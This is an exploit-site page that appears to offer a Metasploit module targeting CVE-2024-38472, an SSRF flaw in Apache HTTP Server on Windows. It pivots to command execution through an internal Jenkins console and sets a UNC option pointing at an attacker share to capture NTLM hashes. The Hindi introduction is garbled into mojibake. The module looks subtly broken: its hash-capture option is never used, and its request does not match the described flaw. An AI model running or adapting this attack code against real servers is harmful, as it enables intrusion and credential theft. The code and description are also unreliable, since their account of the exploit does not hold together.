Sploitus

Exploit for CVE-2024-38472

kitploit ┬╖ 2026-08-25

Exploit Code

MARKDOWN112 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ABDURAHMON3236-CVE-2024-38472
рд╡рд┐рдВрдбреЛрдЬ рдкрд░ Apache HTTP Server рдореЗрдВ SSRF рднреЗрджреНрдпрддрд╛ (CVE-2024-38472) рдХреЗ рд▓рд┐рдП рдПрдХ рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди (RCE) Metasploit рдореЙрдбреНрдпреВрд▓ рдмрдирд╛рдирд╛ рдЪреБрдиреМрддреАрдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ SSRF рд╕реНрд╡рдпрдВ рд╕реАрдзреЗ RCE рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, SSRF рдЕрдХреНрд╕рд░ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рджрд┐рд╢рд╛ рдореЗрдВ рдПрдХ рдХрджрдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЦрд╛рд╕рдХрд░ рдпрджрд┐ рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЖрдВрддрд░рд┐рдХ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдпрд╛ рдХрд┐рд╕реА рджреНрд╡рд┐рддреАрдпрдХ рднреЗрджреНрдпрддрд╛ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

### SSRF рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдХреЗ рд▓рд┐рдП рд░рдгрдиреАрддрд┐

SSRF рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рдЖрдо рддреМрд░ рдкрд░ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА:

  1. рдПрдХ рдЖрдВрддрд░рд┐рдХ рд╕реЗрд╡рд╛ рдЬреЛ рдХрд┐рд╕реА рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣рдорд▓реЗ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд┐рд╕рдХрд╛ рд╢реЛрд╖рдг SSRF рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
  2. рдПрдХ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдпрд╛ рдЕрддрд┐рд░рд┐рдХреНрдд рднреЗрджреНрдпрддрд╛ рдЬреЛ рдордирдорд╛рдиреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред



рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдорд╛рди рд▓реЗрдВ рдХрд┐ рд╣рдо рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдПрдХ рджреНрд╡рд┐рддреАрдпрдХ рд╕реЗрд╡рд╛ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреА рд╣реИ рдФрд░ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдзреЛрдЦрд╛ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ Jenkins рд╕рд░реНрд╡рд░ рдпрд╛ рдХреЛрдИ рдЕрдиреНрдп рд╕реЗрд╡рд╛ рдЬрд┐рд╕рдореЗрдВ рдЦреБрд▓рд╛ API рд╣реЛ)ред

### рдЙрджрд╛рд╣рд░рдг Metasploit рдореЙрдбреНрдпреВрд▓

рд╣рдо рдПрдХ Metasploit рдореЙрдбреНрдпреВрд▓ рддреИрдпрд╛рд░ рдХрд░реЗрдВрдЧреЗ рдЬреЛ SSRF рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдХреЗ рдЖрдВрддрд░рд┐рдХ рд╕реЗрд╡рд╛ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдХреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдо рдПрдХ рдЖрдВрддрд░рд┐рдХ Jenkins рд╕рд░реНрд╡рд░ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░реЗрдВрдЧреЗ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдЦреБрд▓рд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрдВрд╕реЛрд▓ рд╣реИ рдЬрд┐рд╕рдХрд╛ рд╣рдо RCE рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдХреЛ рдЕрдкрдиреЗ Metasploit Framework рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдХреА `modules/exploits/multi/http` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ `apache_unc_ssrf_rce.rb` рдХреЗ рд░реВрдк рдореЗрдВ рд╕рд╣реЗрдЬреЗрдВред

root@kitploit:~
    
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Apache HTTP Server Windows UNC SSRF to RCE',
          'Description'    => %q{
            This module exploits a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows,
            which can potentially be leveraged to achieve Remote Code Execution (RCE) by interacting with internal
            services like Jenkins.
          },
          'Author'         =>
            [
              'Your Name'  # Your name or handle
            ],
          'License'        => MSF_LICENSE,
          'References'     =>
            [
              ['CVE', '2024-38472'],
              ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
            ],
          'DisclosureDate' => 'Aug 03 2024',
          'Platform'       => ['win'],
          'Arch'           => [ARCH_CMD],
          'Targets'        => [
            ['Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' }]
          ],
          'DefaultTarget'  => 0
        ))
    
        register_options(
          [
            Opt::RHOSTS,
            Opt::RPORT(80),
            OptString.new('TARGETURI', [ true, "The base path to the vulnerable application", '/']),
            OptString.new('UNC_SERVER', [ true, "UNC path of the malicious server to receive NTLM hashes", '\\\\attacker-server\\share']),
            OptString.new('INTERNAL_SERVICE', [ true, "Internal service URL to exploit for RCE", 'http://internal-service/script']),
            OptString.new('CMD', [ true, "Command to execute", 'calc.exe'])
          ])
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri(target_uri.path),
        })
    
        if res && res.headers['Server'] && res.headers['Server'].include?('Apache')
          return Exploit::CheckCode::Appears
        end
    
        Exploit::CheckCode::Safe
      end
    
      def exploit
        ssrf_payload = {
          'method'  => 'GET',
          'uri'     => normalize_uri(target_uri.path),
          'version' => '1.1',
          'headers' => {
            'Host' => datastore['RHOSTS'],
            'Content-Type' => 'application/x-www-form-urlencoded'
          },
          'data'    => "url=#{datastore['INTERNAL_SERVICE']}?script=#{Rex::Text.uri_encode(datastore['CMD'])}"
        }
    
        begin
          print_status("Sending SSRF request to #{datastore['RHOSTS']}:#{datastore['RPORT']}#{target_uri.path}")
          res = send_request_cgi(ssrf_payload)
    
          if res && res.code == 200
            print_good("Successfully triggered the internal service")
          else
            print_error("Failed to trigger the internal service: #{res.inspect}")
          end
        rescue ::Rex::ConnectionError => e
          print_error("Connection failed: #{e.message}")
        rescue ::Interrupt
          print_status("User interrupted the module execution")
        rescue ::Exception => e
          print_error("An unexpected error occurred: #{e.message}")
        end
      end
    end